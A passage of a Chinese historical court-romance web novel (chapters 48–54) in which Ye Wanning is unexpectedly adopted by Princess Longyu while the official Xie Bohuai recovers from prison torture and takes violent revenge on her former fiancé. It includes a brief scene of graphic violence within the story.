“不是你妹妹,你自然不上心。”李涛留下这句话,愤愤走了。 其余人见李涛那么不给皇太孙面子,悄悄打量着皇太孙的脸色,却见皇太孙丝毫没计较,大度地让大家快些回去。 众人散了,孙浩也回了府衙。 下边人来问要怎么办,孙浩深吸一口气,该怎么办,并不是他能说了算的。 夜深人静后,孙浩才敢去约定的地方等人。 往后两日,京城人心惶惶,那群歹人连郡主都敢杀,更别说普通百姓了。 直到孙浩揪出霍家,曾经被谢泊淮查过的人家,还被昭云郡主羞辱过。不过这霍家与太子母家是远亲,消息传到叶府时,叶婉宁先松了一口气。 她不懂朝堂上的事,但谢泊淮没事就好。 她叫来二哥哥,“谢大人之前对我们家多有恩惠,选妃的事也是我们连累他了,二哥哥带着这些膏药去看看他,但千万别说是我的意思。” “我知道的,你办事得体,很多时候大嫂想不到的事,你都能想到。”在叶明岳看来,叶婉宁办事都是从叶家角度出发,而不是为了她自己,“这次谢大人的事,很多人想看个热闹,现在他能沉冤得雪,让不少人失望了。” 叶明岳带着叶婉宁准备的礼物,去了谢府。 只是他到谢府正门,被拦了下来。 “什么叶家?听都没听说过,就想和我们三爷攀附关系?”门房一副不耐烦样子,“我们三爷可是镇府司指挥使,光是这一个时辰里,想去探望的人不下十个。” 叶明岳皱着眉,他想着谢泊淮受了冤屈,从大门进比较好。现在被赶,心想谢家也是狗眼看人低,绕了一圈到谢泊淮自个儿开的小门,才见到谢泊淮。 原以为谢泊淮会躺着修养,结果他进屋时,谢泊淮已经坐着看书。 “谢大人?”叶明岳还以为自己看错了。 谢泊淮让人上茶,“一些皮肉伤,算不上大事,多谢你走一趟。” 皮肉伤?叶明岳心想能当镇府司指挥使的人,果然不一样,他没去过天牢,却也知道天牢里的刑罚有多可怕。 坐下抿了口茶,叶明岳刚拿出膏药那些,谢泊淮让人拿了贺礼出来。 “这几日不得空,错过了叶兄的婚宴,本想让人送去叶家,但我现在是风口上的人,又怕给叶家带去麻烦。”谢泊淮笑了笑,谁是真心探望,谁是趋炎附势,他心里一清二楚。 说话时,谢泊淮一边看着手中的信件。 叶明岳笑着说,“我们叶家坦荡荡,没什么好怕的。我与谢大人聊得来,才来探望,至于旁的,我也不懂。谢大人知道的,我并不爱关注官场上的事。” 谢泊淮都能找到铺子去,说明谢泊淮对他的事也清楚。 谢泊淮放下手中的信件,伸手的动作扯到身上的伤口,但他眉头都没动一下,“确实,以后叶兄不必再喊我大人,你比我长一岁,喊我小字子谦就好。” 换做旁人,是没这个胆量喊谢泊淮小字,但叶明岳不一样,他眼中没那么多利益纠葛,纯粹是觉得谢泊淮这人不错,笑呵呵地应了。 知道谢泊淮很忙,叶明岳坐了一会儿就走了。 谢泊淮叫来下人,去正门打听后,得知叶明岳确实去过正门,但被人赶了出来,“去找谢府管事,我不管这个门房是哪一房的人,以后不许出现在谢府,不然我连他一起办了。” 吩咐完后,谢泊淮去看了青山和书砚两个。 他们趴在床上,青山尤为严重,“大人,我没事的,躺几天就好了。” 谢泊淮看向青山的十指,被上了夹棍,青紫一大片,一直在发抖,“好好养着,其余的不必多想。” “大人,我……”书砚底子差,这会面色惨白,气若游丝,“我要疼死了,您得了机会,千万别放过姓孙的王八蛋,知道我们什么都不会说,把我们往死里打。” 记仇这点,书砚像谢泊淮。 “嗯,我知道了。”谢泊淮出了屋子,让人给青山两个用最好的药,他自己也到了换药的时候。 纱布拿下时,里面的两层全是血,谢泊淮连眉头都没皱。 这时有人来传话,说孙大人来了。 第49章 在乎的人 谢泊淮还在换药,就让孙浩进来。 他身上大大小小的伤,大部分都拜孙浩所赐,“孙大人怎么来了,是想看看我还行不行了?我这身上的伤,去接乌苏使臣时,都没那么严重。” 谢泊淮一开口,孙浩两腿忍不住发颤,“我……我也是奉命行事,还请大人不要计较。” “想我不计较也行,你说说,谁吩咐你的?只要你说出来,我谢泊淮一言九鼎,绝对不会找你麻烦。”谢泊淮穿好衣裳,一步步走向孙浩。 孙浩自己心虚,摔坐在地上。 谢泊淮居高临下地看去,“拉出霍家顶罪,你以为皇上看不出来吗?得罪我,又得罪太子,还杀了惠王的女儿,让我猜猜,是端王,还是敬王?” “大人说笑了,哪有什么谁吩咐,我是皇上钦点的京兆尹,自然都听皇上的。”孙浩撇开头,不敢和谢泊淮对视。 他心跳得厉害,就是因为知道谢泊淮记仇,才壮着胆子上门。 “你如果真能揣测到皇上的意思,就不会只是个京兆尹。孙浩,你回去吧,你的账,我会慢慢算。”谢泊淮自己挨点打无所谓,但是动他的人不可以。 孙浩急了,“谢大人,你就没什么在乎的人和事吗?” “你指的什么,谢家吗?”谢泊淮一瞬间眼神狠厉,掐住孙浩的脖颈,高高地举了起来,“如果你能让谢家万劫不复,我倒要谢谢你。至于旁的事,我谢泊淮烂命一条,随时等你来要我的人头!” 他丢开孙浩,地上湿了一片。 是孙浩吓尿了。 “孙大人,你胆子那么小,怎么帮人做事?”谢泊淮嫌弃地去洗手。 孙浩够狼狈的了,强撑着站起来,颤颤地扶着门框,“你好歹姓谢,谢家出了什么事,你终究逃不过去。谢大人,我劝你别太抓着不放,各退三步,你好,我们也好。” “折竹,送客。”谢泊淮没去看孙浩。 折竹不客气地拉着孙浩往外走,把人给丢出了谢家。 孙浩上了马车,嘴唇都白了,“去……去惠王府。” 昭云郡主的案子,暂且告一段落,霍家虽然与此案无关,但也不是什么好人家。谢泊淮在家中只待了一天,便去了镇府司。 京城里的人听说了,都说他命硬,怎么折腾都死不了。 而叶婉宁,则是意外地收到隆玉公主的帖子,帖子上写了,只邀叶婉宁一人上门做客。 公主的帖子,就算心中再多疑问,叶婉宁次日还是带着云芝,忐忑地上门。 她记得,前世隆玉公主回来后,一直都在享乐,后来不知为了什么,突然被皇上囚禁在公主府,不许隆玉公主再出来。 她到公主府时,有些意外,并不是想象的规矩森严,嬷嬷在一旁带路,“叶姑娘不用紧张,我们公主是带着歉意请您过来,她是个好说话的人,您如平常一般就好。” 叶婉宁被带到正殿,嬷嬷直接带她进去,殿中有熏香,看到一个男宠从隆玉公主身侧起来,叶婉宁不由红了脸。 “你坐到本宫身边来,上一次马球会,是昭云让你受委屈了。马球会是本宫办的,本宫理应再和你道个歉。”隆玉公主笑眯眯地打量着叶婉宁,“上回瞧见你,我就惊为天人,本宫最爱和漂亮的人玩,往后你可以常来公主府。” “殿下谬赞了。”叶婉宁低着头,隆玉公主的每一句话,她都要细细揣测。 隆玉公主换了个慵懒的姿势,单手撑着头,懒洋洋地打了个哈切,“不是我夸张,确实是你够好,还是说,你也和其他人一样,嫌弃本宫的公主府?” “没有没有,公主才是天人之姿,臣女怎敢嫌弃。” “别那么拘谨,快坐好,我就是看你顺眼,日子太无聊了,需要有人说话解闷。”隆玉公主笑着道,“我知道你与未婚夫退亲了,这世道啊,对女人特别不公平,我们掌控不了自己的日子,什么都要依附男人而活,忒无趣了,你说是不是?” 叶婉宁谨慎回答,“女子确实不容易,如果遇上和睦的家庭,倒也还好,自个儿能多些选择。” “你说的是少数,像本宫,虽然贵为公主,却要和亲异族。你肯定不知道,乌苏老王过世后,本宫便嫁给他的儿子,也就是本宫的继子。”说起这些,隆玉公主没有半分羞涩,而是带了一声轻呲。 叶婉宁听得心惊胆战,这样的事说给她听,她感觉脑袋快要没了。 有宫女来上茶,叶婉宁小口抿着。 “还好父皇记得本宫,若是皇兄们,谁还会管本宫呢?”隆玉公主说到这时,有内侍来传话,说镇府司的谢指挥使来了,她哼了一声,“让他进来吧。” 听到是谢泊淮,叶婉宁的身子不由绷紧,一动不敢动,只能用余光去看。 几日不见,谢泊淮消瘦不少,下颚更加清晰,眉眼也更凌厉。 “见过公主殿下,不知殿下喊微臣过来,所为何事?”谢泊淮问。 “听闻乌苏使臣遇刺,本宫好歹在乌苏生活多年,想问问,抓到人了吗?”隆玉公主说起这个事时,看叶婉宁起身准备往后退,她摆了摆手,示意叶婉宁重新坐下,“不是什么见不得人的事,你可以听。” 叶婉宁:……问题是,我不想听啊! “殿下与谢大人谈的是公事,臣女还是先到门口等着,方才进来时,瞧见门口的荷花开得正好。”叶婉宁道。 “行吧,林嬷嬷你带着叶姑娘去吧,公主府大得很,免得叶姑娘迷了路。”隆玉公主发了话,叶婉宁心中松一口气。 出了大殿,林嬷嬷带着叶婉宁在园子里逛了逛,算着时候差不多,她们才往回走,正好与出来的谢泊淮迎面碰上。 “谢大人。”叶婉宁规矩行礼,那么多双眼睛看着,她有心想多问谢泊淮几句,不敢贸然开口。 谢泊淮“嗯”了一声,目光略过叶婉宁,负手往外走。 等叶婉宁回到正殿时,殿中传来欢笑声,宫女说公主正和男宠玩,让叶婉宁先回去,改日再找叶婉宁说话。 能回去,叶婉宁步伐轻松不少,只是她刚上马车,看到里面端坐着的谢泊淮,瞬间绷紧身子。 第50章 割舌 马车停到没人的地方,谢泊淮看向云芝,叶婉宁懂了谢泊淮的意思。 “谢大人是正人君子,你先下去等我。” “正人君子?”谢泊淮勾勾唇,“你形容得倒是新鲜,有人说我杀神转世,冷酷无情,却没人说过我是正人君子。叶大姑娘,可见你还是怕我。” 不然怎么会先给他一个定义。 马车狭小,不知是不是有过……叶婉宁不敢多想,只是深呼吸时,似乎能察觉到谢泊淮自带的侵略性。 跳过谢泊淮的话,叶婉宁转而问,“不知大人找我,有什么事吗?” “昭云郡主的案子,霍家是替罪羊。”谢泊淮道。 叶婉宁猜到了,“大人查到真凶了?” “暂时没有。”谢泊淮轻咳了两声,忍住继续咳嗽的欲望,“所以谁都有可能要害我,谢家是一团臭泥,你们叶家应该离得远远的。” 这是什么意思? 还没等叶婉宁想明白,又听谢泊淮问隆玉公主喊她去干嘛,“殿下说实在对不住,上次马球会没有招待好我,特意喊我来说说话。” “说了什么?”谢泊淮压迫感十足。 叶婉宁愣了下,一一转述了,“其实也没什么,都是些感怀的事。” “哼,你以为她是个只会吃喝玩乐的公主吗?”谢泊淮想问的都问了,“再有下一回,尽量推了,少和这些人打交道。” 他的语气强硬,不容拒绝。 看谢泊淮下了马车,叶婉宁长眉轻蹙,有些话想问,她还在纠结,谢泊淮就走了。 “姑娘,谢大人和您说什么了?”云芝回来后问。 “没说什么,就问了隆玉公主找我做什么。”叶婉宁的手冰凉,“云芝,我有种不安的感觉,我以为脱离了周钰,日子就会越来越好。可是好像,我又陷进我看不清、摸不透的阴谋中。” “姑娘别想太多,叶家没人身居高位,不管那些王爷们怎么争斗,都和咱们没关系。老夫人也说了,您要是不喜欢京城,在京城周边找合适的人家也可以,老夫人和大爷几个都是好的,不会为难您。”云芝温声细语地安慰。 叶婉宁却难静下心来,反复地琢磨谢泊淮说的那些话,才想到,本朝和亲的公主那么多,有几个能回来? 隆玉公主是第二个。 若说是皇上愧疚仁慈,这肯定是有的,可皇上都舍得让隆玉公主去和亲了,又岂会为了隆玉公主,再得罪乌苏? 如此看来,隆玉公主也是有点本事的。 谢泊淮说得对,她以后还是离皇家的人远一点,她只想过平静的日子,并不想去权利场里争个一席之地。 叶家的马车缓缓往叶家驶去,谢泊淮则是去找了周钰。 周钰受到打击后一蹶不振,连着几日下来,瘦得可怕。 “你是谁?”周母蓬头垢面,他们在城里待不下去,只能在郊外找到一处房子,暂时落脚,“我可告诉你,我儿子以前可是当官的,你要是……” “所以呢?”谢泊淮一个眼神扫过去,周母下意识闭嘴,等她反应过来,还是挡在周钰前面。 “谢泊淮,你来做什么?看我笑话吗?”周钰撑着木板坐起来,“是不是很高兴,我有了这种结果?” 谢泊淮面无表情,“周钰,今日来,我是来取你舌头的。” 周钰一下子还没反应过来,周母反而先喊起来,“你是什么人啊?皇上都没要我儿子舌头,你凭什么?” 他们的声音,引起从外边回来的许竹苓母子的注意。 许竹苓去河边浆洗衣裳,听到屋子里有动静,忙捂住儿子的嘴。 她听出谢泊淮的声音,只是谢泊淮怎么来了? 谢泊淮一掌劈晕了周母,拔出佩剑,走向周钰。 看到谢泊淮拔剑,周钰意识到谢泊淮来真的,慌乱地往后退,却退无可退,“谢泊淮,你别乱来啊,就算我被罢官,我和你无冤无仇,你不能这样害我!” 但是不管他怎么说,谢泊淮还是踩着他的手腕上前。 “谢泊淮!你果然是个疯子,你是因为叶婉宁?哈哈,你竟然是为了叶婉宁!”周钰看着越来越近的剑,发狂地大笑大叫,“原来你的心上人是叶婉宁,不要脸的奸夫淫妇,你们是早就勾搭……噗……勾搭上了吧?” “周钰,你真是活该。” “对,我是活该,但你也别想完整占有叶婉宁,她就是个破烂货。你不知道吧,那一日我给她灌了春药,她跪在我面前像一条发情的母狗,求我睡她!谢泊淮,你有碰过叶婉宁吗?没有吧!她的皮肤真是嫩啊,不愧是我睡过……呜呜……” 谢泊淮掐住周钰的下巴,拽出周钰的舌头直接割了。 顿时,血流如注。 周钰感觉自己要死了,他伸手接了满手的血,剧痛过后是心悸和僵硬的身体。 谢泊淮对着周钰的手,眼都没眨地挑断周钰的手筋,他不杀周钰,他要周钰狼狈地去死,这样才是对他最大的惩罚。 此时谢泊淮的眼底,才浮现出杀意,他极力控制住自己的手,不让自己割破周钰的喉咙。 周钰怎么敢的? “啊!”周钰头朝下地趴在木板上,看谢泊淮就这么走了,他不甘心,谢泊淮怎么可以这样对他? 没了功名他还可以干别的,他要报仇,要让叶婉宁不得好死,但是……疼……真的好疼。 周钰的恨汹涌而来,他却无能为力,只能看着谢泊淮就这么离开。 门口的许竹苓吓傻眼了,谢泊淮垂眸看了眼许竹苓怀里的小孩,径直出了院子。 折竹牵来马匹,“三爷,这些药真要留下吗?” “丢到院子里就可以。”谢泊淮翻身上马,“折竹你知道为什么那么多人都怕进镇府司吗?” 折竹愣了下,点了点头,“因为活着,有时候会比死了更可怕。” 就是这么个道理。 谢泊淮纵马飞驰,他想要宣泄出来,可这一路,太多阻碍,叫他难以畅快。 所以今天叶婉宁看到他,会下意识缩着身子,他不敢想,如何周钰说的是真的,叶婉宁该怎么办? 第51章 称病 叶婉宁回到叶家时,看下人们都满脸喜气,一问之下,才知道是大嫂嫂有喜了,赶忙往大房去。 “是婉宁来了啊,我们方才还说到你呢。”姜姒起身拉着叶婉宁进屋,林氏坐在床上,姜姒笑着和叶婉宁道,“我们想着你再不回来,都要去公主府找你了。” 叶婉宁着急去看林氏,“大嫂嫂怎么样了?你怎么不早点说?” “我原想着胎坐稳了再说,不曾想今日头晕了一会,你二嫂嫂看我面色不对,让人去请了大夫。”林氏近来事情颇多,无暇休息,这才有些不适,“你别担心,大夫说没什么事。让我好好休息。” 方才林氏便和姜姒说着叶家的情况,既然林氏要养身体,管家的事便落到姜姒手里。 姜姒打小便是当主母培养的,管家这点小事不在话下,特别是叶家人口简单,没什么麻烦事。 叶婉宁知道大嫂盼着有个孩子,拉着大嫂的手,仔细叮嘱,“大嫂嫂的身子最重要,别的事都别去想,万事都有我和二嫂嫂。” “要辛苦你们了。”林氏有些愧疚地去看姜姒,“你才刚进门,就要你处理这些事,我实在过意不去。” 叶婉宁无奈地和二嫂嫂笑,“你看吧,我就说大嫂嫂有着操不完的心。”她拍拍大嫂的手,“大嫂嫂你别想了,快快休息,家中这些事,我来带着二嫂嫂做。” 不给林氏拒绝的机会,叶婉宁让人带着账册去二房。 路上姜姒一直在看叶婉宁,“嫁过来之前,母亲就与我说,我在闺阁里学的东西,大部分都可以丢了。” “为何?” “母亲说人要因材施教,到了不同环境,也要学会变通,不能一味地守旧。我母亲这个人,与我父亲很不一样,但她又能很好地与我父亲相处。婉宁,我知道你现在的处境艰难了一些,别放弃,凡事都会有转机的。你这样好的一个人,老天不会让你白白埋没了。”姜姒带着叶婉宁进屋。 叶婉宁笑,“姜夫人真通透。” “不想明白点,怎么活呢?没什么过不去的坎,日子总是一关关来,你看我,如今和你二哥哥,不也算得上相敬如宾吗?”姜姒说这话时,眼睛在笑,能有现在,她已经满意了,“从你回来,脸上虽是喜色,却是掩盖不住的疲倦。方才你说大嫂爱操心,你又何尝不是?” 林氏有孕,叶婉宁主动带姜姒熟悉叶家家务,以前也是叶婉宁帮着林氏管家。叶明岳有个什么事,也是叶婉宁主动去劝。 她不是家中年纪最大的,却像个大姐,忙活着里里外外的事。 “婉宁,松一松吧,日子好一点,或者一般一点都不重要。你二哥哥与我说了,他在外帮你经营铺子,你有本钱,我与你大嫂嫂都是大度的人,就算天塌下来,你也不用怕。”姜姒语重心长地劝道。 “我知道的二嫂嫂,确实是我记挂太多,今日去见了隆玉公主,我整个人都绷着一根弦。谢……隆玉公主说有机会再找我聊天,我觉得还是少与他们接触,不如对外就说我病了,免得招惹是是非非。”叶婉宁确实累了。 周钰有了报应,以周钰现在的情况,老家回不去,他名声又臭了,还得拖着周夫人这个不讲理的,日子可想而知有多难。 从叶婉宁对外说病了后,她不再出门会客,毎日看看书,或者和妹妹们聊天说笑。 等听说周钰被人割了舌头时,已经是七日后。 “什么人干的?”叶婉宁叫来福生。 福生说不知道,“周钰一行人搬到了京郊,说舌头被割断,手筋也被挑断,人倒是活着,但不能自理了。” 云芝哼了一声,“这也是他的报应。” 叶婉宁深吸一口气,思索有什么人对周钰恨之入骨,思来想去,没有头绪,只好暂且作罢。 既然周钰成了废人,更不用派人盯着了,这样的一个人,再没蹦跶的可能。 在叶婉宁彻底松一口气时,隆玉公主身边的江嬷嬷,带着御医来给叶婉宁看病了。 “殿下听闻叶大姑娘病了,特意让老奴过来看看,可别是那日在公主府受了风寒?”江嬷嬷笑容得体,她说话时,身旁的御医给姜姒行礼,问叶婉宁在哪。 纵使见过世面,也弄不清楚怎么回事,总不能是隆玉公主真的很喜欢婉宁吧? 江嬷嬷人都到了,总不能让人一直等着,只好带着江嬷嬷去婉宁的院子里。 叶婉宁得了消息,已经躺着了,看看到江嬷嬷和御医时,她想不操心都不行。 “见过姑娘,殿下一直惦记着您,特意让老奴来看看您。” “有劳殿下费心了,其实我没什么大事,就是身子乏得厉害,没什么精神出门。”叶婉宁说着等御医把脉,“实在不敢让殿下为我担心,还请嬷嬷帮我回个话,就说我并无大碍。” 叶婉宁确实没病,只能这样应付过去。 她说自己疲乏,御医自然接话道,“叶大姑娘思虑过多,确实需要养养。脉象有些许乱,或许是心神不宁。” 江嬷嬷让御医去开药方,再去看叶婉宁,“姑娘别嫌殿下多事,殿下无儿无女,一个人的日子缺少乐子。她看您得眼,才记挂着您生病。殿下说了,您要是养不好,不如去公主府养着,公主府什么药材都有,总会养好身子的。” “哪里敢叨唠殿下,等我好了,我一定亲自上门感谢。”叶婉宁不得不给出承诺。 听到这话,江嬷嬷才不再多说什么。 等江嬷嬷和御医走后,姜姒皱紧眉头,“妹妹不是说在公主府只聊聊天,怎么我看殿下对你非常上心?” “确实是聊天而已,我又不是俊俏公子,自问没那么大的本事让她对我这般好,叶家更没权势,我实在想不明白,她为什么抓着我不放。”叶婉宁十分确认,她如果不说会去拜访隆玉公主,江嬷嬷不会轻易离开。 为了什么呢? 总要有所图谋,才会这般上心。 她才不信,隆玉公主会平白无故地对她好。这样的好,反而让她毛骨悚然,不由地,她又想到谢泊淮的提醒。 皇家的人,果然没一个心思简单。 第52章 义女 叶婉宁养了三天,主动给隆玉公主递了折子。正好明儿是隆玉公主的秋宴,叶婉宁掐着时辰去了公主府。 等她到时,隆玉公主身边已经坐了好些夫人小姐,她们看到叶婉宁,一个个的眼中都是打量。 能让隆玉公主请御医去探望,可见叶婉宁在隆玉公主心中的地位有多高。 众人捧着隆玉公主,自然夸赞起叶婉宁来。 右相夫人朱氏先笑着道,“早前就听说叶家大姑娘容貌冠绝京城,今日见了,还真是如此,把我家的那几位姑娘都比下去了。” 立马有人接话,“相府的姑娘都是好的,叶大姑娘也不错,各花入各眼,都是上上品。” …… 众人捧着叶婉宁说话,让叶婉宁一时半会都反应不过来,她何时受过这种追捧,心里却高兴不起来。 “你们快别夸她了,都把人夸不好意思了。”隆玉公主对叶婉宁招招手,示意叶婉宁到她跟前去,“你啊,总是那么乖顺体贴,才刚刚好点,怎么就过来了?” 叶婉宁哪里敢说是被迫的,“殿下派了御医替臣女诊治,臣女心里惦记着,得亲自来和您道谢。” “瞧你,不过是本宫随手的事,竟然记得那么紧。本宫是个儿女缘分浅的,原本是有个孩子的,奈何他和我没缘分。不如这样,本宫认你为义女,你看如何?”隆玉公主刚提出这个,在场的人都惊了。 在隆玉公主回京时,皇上有问过隆玉公主还想不想嫁人,以她的岁数,再嫁后也可能有自己的孩子。 但隆玉公主拒绝了,她说在乌苏已经嫁过两次,不想再成亲。皇上没有为难她,只说她改了主意,可以随时找他。 这些日子,宫里的赏赐如流水一样到公主府,可以说,隆玉公主手里的钱财,是寻常人一百辈子都用不完。 而隆玉公主膝下没孩子,她愿意认叶婉宁为义女,这在所有人看来,都是天上掉馅饼的好事。 隆玉公主不属于任何一个党派,以后不管是谁上位,都会供着她的富贵生活,毕竟隆玉公主和亲贡献大。 但在叶婉宁看来,惊吓远比高兴多。 “叶大姑娘,你是高兴坏了吗?”朱氏笑眯眯地问。 在这些夫人看来,隆玉公主能提出这种事,想来私下已经跟叶婉宁交情颇深,已经说好了的事,只是现在走个过场。 “是,是太让人高兴了。”叶婉宁感觉有无数的眼睛盯着自己,只要她露出些许的破绽,就会被他们立马放大,“只是臣女是个微不足道的人,怕是配不上殿下的厚爱。” “本宫说你配得上,你就配得上,是本宫认你为义女,又不是让旁人来。只要本宫自己开心愿意就是好事,其余的你不用担心。”隆玉公主刚说完,江嬷嬷就扶着叶婉宁到她身边,“本宫不是与你说过了,咱们这辈子,只活痛快两个字。既然你不反对,事情就那么定了,你没了母亲,我没了孩儿,都是苦命人。” 她说定下了,所有人都送上祝贺。 叶婉宁的脸维持着假笑的僵硬,陪着隆玉公主应酬了一天,等她回去时,还是江嬷嬷亲自送她出去。 “头一回见您时,老奴就觉得您往后有福气,殿下看重您,已经让人去叶府说了,等过完礼,殿下想接您来公主府小住。”江嬷嬷笑着送叶婉宁到门口,“您放宽心些,殿下是个极好的人。” 目送叶婉宁离开后,江嬷嬷才去回话。 “她应该很惊讶吧?”隆玉公主怀里躺着一个男宠。 “是的,但叶大姑娘算是镇定了,您没和她打招呼,突然这么提起来,一整日下来应对自如,是个能沉得住气的。”江嬷嬷对叶婉宁评价不错,不过她也没明白,为何主子会认叶婉宁为义女。 隆玉公主拍了拍男宠的胳膊,男宠立马识趣地起来退出去,“不愧是谢泊淮看上的人,容貌是一等一的好,品行更是挑不出错,最重要的,是她不管在什么时候,都不会自乱阵脚。叶婉宁这个人有意思,本宫喜欢。” “可是谢大人吗?” “你以为本宫要叶婉宁住到公主府,是本宫真的闲得无聊吗?”隆玉公主呵呵笑了笑,“谢泊淮这个人看似冷酷无情,除了父皇,谁的面子都不给,办事还狠,不达目的不罢休。但越是这种人,你越拿捏到他的软肋,就能把他吃得死死的。上回叶婉宁来公主府,他不是巴巴地去给叶婉宁传话,让她离本宫远一点,真是可笑,本宫是那种吃人的老虎吗?” 江嬷嬷说不是。 “你亲自去准备认亲礼,既然本宫认下叶婉宁这个义女,就得做足场面,叶婉宁越有面子,本宫才高兴。”隆玉公主挥挥手,江嬷嬷立马懂了主子的意思。 此时的谢泊淮,并不知道公主府的事,他一整天都在镇府司的大牢里。 折竹带来审问消息,“根据那几个刺客说的,他们都来自乌苏。” “乌苏的刺客要刺杀乌苏使臣,倒是有意思。”谢泊淮看着火盆里的烙铁,眼中神色暗晦不明。 “其中有一人受不了刑法,透露出一个消息,隆玉公主当年生的儿子,并没有死。”折竹道,“这件事,在把我们往隆玉公主那引。大人,隆玉公主回京后,最开始非常低调,她在京城外买了地,说是喜欢安静的日子。结果现在奢华高调,这其中肯定有原因。” 谢泊淮:“既然她儿子没死,人活在这个世上,总能找得到。如果是她突然得知儿子活着,想帮儿子夺位,很多事就能解释清楚了。” 一番吩咐下去,等谢泊淮走出大牢时,已是傍晚。 晚霞绯红,谢泊淮骑马归家去,刚进谢府,便听到下人们议论,“你们说什么?” 看到是谢泊淮,小厮们立即敛去笑容,“回三爷,今日隆玉公主认叶家大姑娘为义女,大家都在说这个事。” 大部分人都觉得叶婉宁命好,本来因退婚的时,在婚事上变得艰难。现在有了隆玉公主这个义母,满京城的高门显贵,不是随便挑选了吗? 第53章 踏破门槛 关于义女的事,叶家人同样震惊。 叶婉宁到家时,姜姒他们已经收到消息,这会叶明德回来,林氏怀了孩子,他们到前厅说话。 “这到底是好事,还是坏事啊?”叶婉玉想了有一会儿,还是没想明白,“刚刚听说时,我想着大姐姐能得隆玉公主青睐,往后没人能欺负大姐姐和叶家,应该是好事,但我怎么看大姐姐和二嫂嫂都没笑?” 姜姒有个通透的母亲,看问题更深远,“明面上看着是好事,能攀附隆玉公主这棵大树,确实不错。但这事来得太突然,按理来说,隆玉公主真有这个心,会私下先探探咱们家的口风,而不是当众说出来。” 当着那么多人提出来,叶婉宁无法拒绝。 私底下,叶家还能表个态,即使得罪隆玉公主,也好过不明不白地入局。 叶婉玉听明白一些了,“所以说,二嫂嫂你们是觉得这事来得太突然,怕有蹊跷?” “是这样。”姜姒说完去看叶婉宁,拍了拍叶婉宁的肩,“事已至此,咱们只能接受了,你别想太多,隆玉公主认你为义女,往后你好不好,都是她的脸面,她不至于坑了你。” 叶婉宁:“嗯,大家不用替我担心,咱们走一步看一步,能当公主的义女,没什么不好。” 一直沉默的叶明德开口问,“婉宁,这次来的乌苏使臣,一直没有去隆玉公主那,你自个儿要小心,不要在公主府长住。” 今日叶明德本来很高兴,有姜家和钱家的扶持,他今日升五品学士,本来是个可以和全家分享的好消息,但现在没有说的兴致。 回去后,叶明德才和妻子说起这件事,“我升官了也好,只要我在朝中有了地位,别人便不敢轻视弟弟妹妹们。” “升官是好事,这得谢谢姜大人他们,有了二弟这门婚事,咱们家才搭上姜家的船。”林氏心中叹气,若是林家愿意替夫君多看看,夫君也是有升迁希望的,奈何家里的大嫂是个心眼小的,“改日你带着二弟去姜家拜访一下,我再带着礼物去看看钱夫人。” “我和二弟去姜家就好,大夫说了,你别操心。”烛光下,叶明德看着妻子的面容,他们是少年夫妻,这么些年有商有量,算得上恩爱了。 林氏知道夫君体贴自己,想着等过些日子,还是要上门去谢谢人家,不过当着夫君,不再说这个话题,“婉宁的事,我是真没想到。不过她向来是个讨人喜欢的,隆玉公主能看中她,对她是件好事。” 叶明德笑着说是,没说心里的担忧。 “明日我找人给家中姐妹都做些新衣裳,婉宁要去公主府,时常会见到京城的贵人,不能丢了叶家的脸面。婉玉和婉华都要相看人家,穿得太寒酸了会被看不起。”从林氏听从叶婉宁的建议屯粮后,公中的银钱渐渐宽裕起来。 叶明德没有反对,林氏靠在夫君怀里,备感欣慰。 另一边,姜姒正坐在烛台下看账册,叶明岳才回来一会儿,听说隆玉公主要认婉宁当义女,惊得说不出话来。 “好家伙,不愧是婉宁,不声不响干大事。咱们家要是有了隆玉公主这层关系,以后不得发达了?”说着说着,叶明岳又觉得不对,“等等,这也不算好事啊,夫人肯定知道几位王爷和太子斗得厉害,隆玉公主又得皇上宠爱,他们都有在拉拢隆玉公主。婉宁成了隆玉公主的义女,咱们家岂不是也要和那些皇孙王爷牵扯不清?” “还好你脑子没丢了,确实是这样。”姜姒叹了口气,“但没办法,咱们得努力点,才能不让婉宁受人白眼。” “这你放心,我每天早出晚归,最近又谈了一笔大单子,等年底差不多能和家里直说了。”叶明岳每天做生意都小心翼翼,就怕遇到大哥和姜家的人。 看夫君苦恼的样子,姜姒抿嘴笑了起来。回门时,母亲问她,叶明岳对她如何,她知道他们不能做到和大哥大嫂一样恩爱,但能相敬如宾,她已经知足。 次日公主府派人送了认亲礼,足足有三十六抬,江嬷嬷还递上房契田产,“殿下说了,她就叶大姑娘一个义女,她有的,都想给叶大姑娘。殿下已经去找人算日子,等日子定下来,再派人通知你们。” 姜姒笑容得体,给江嬷嬷塞了一张银票,留江嬷嬷喝茶。 “多谢二奶奶心意,老奴还得去给殿下回话,不敢多坐了。咱们来日方长,总有机会再来喝二奶奶的茶。” 江嬷嬷走后,姜姒让人把隆玉公主送来的认亲礼清点造册,“全部送大姑娘院子去,往后怎么用,由大姑娘说了算。” 院子里摆了满满当当的认亲礼,绕是见过叶家昌盛时的老人,也没见过这种场面,个个在心中感叹,大姑娘时来运转,要走大运了。 一时之间,京城里的人都在谈论这件事,不少人心中遗憾,若是知道隆玉公主想收义女,他们会早点想办法。不管以后时局如何,至少隆玉公主有权有钱,不需要尚公主,又能得到权势,何乐而不为。 只是可惜了,让叶婉宁捷足先登。 也有脑子转得快的,立马派了媒人来和叶婉宁说亲。 “二奶奶肯定听说过,是贺将军家的小公子,和大姑娘年岁差不多,长得龙虎精神。只要大姑娘嫁过去,贺夫人说了,什么都不用大姑娘管,只需要享福就行。” 姜姒当然知道贺家,嫁给幼子确实什么都不用管,毕竟大儿媳是贺夫人侄女,以后贺家都是大儿子接管。至于龙虎精神,她正好见过那位贺家小公子,精神是精神,吃也是能吃,三个婉宁加起来都没他重。 贺家是第一个,等媒人刚走,又有其他人来说亲,两三天的光景里,叶家的门槛都要被踏破了。 这日谢泊淮正好经过叶家府门,看到媒婆出来,青山好奇问了句。 “自然是给叶大姑娘提亲,公子可能不知道,这几日叶家门槛都快被踏破。真是一家有女,百家求。”媒婆不认识谢泊淮,但看谢泊淮俊俏,热情推销自己,“不知公子成亲没有,我可是京城里最好的官媒,不如公子留个姓名地址,我帮你说说看?” “镇府司谢泊淮。”谢泊淮刚说完,就看到媒婆脸僵住,不自然地后退。 “那什么,我突然想到还有事要忙,谢大人再见啊,您忙!”媒婆转身后,走得飞快,生怕被谢泊淮叫住。 第54章 姻缘 “这媒婆跑那么快做什么,好像大人您会找她说亲一样?”青山能起来走之后,便换下折竹,继续跟着保护主子。他是几个人里,功夫最好的,书砚那厮皮娇肉嫩,到今日都要人伺候吃饭,他是真嫌弃。 “大人,咱们走吧?”青山刚说完,就看到主子进了叶家。 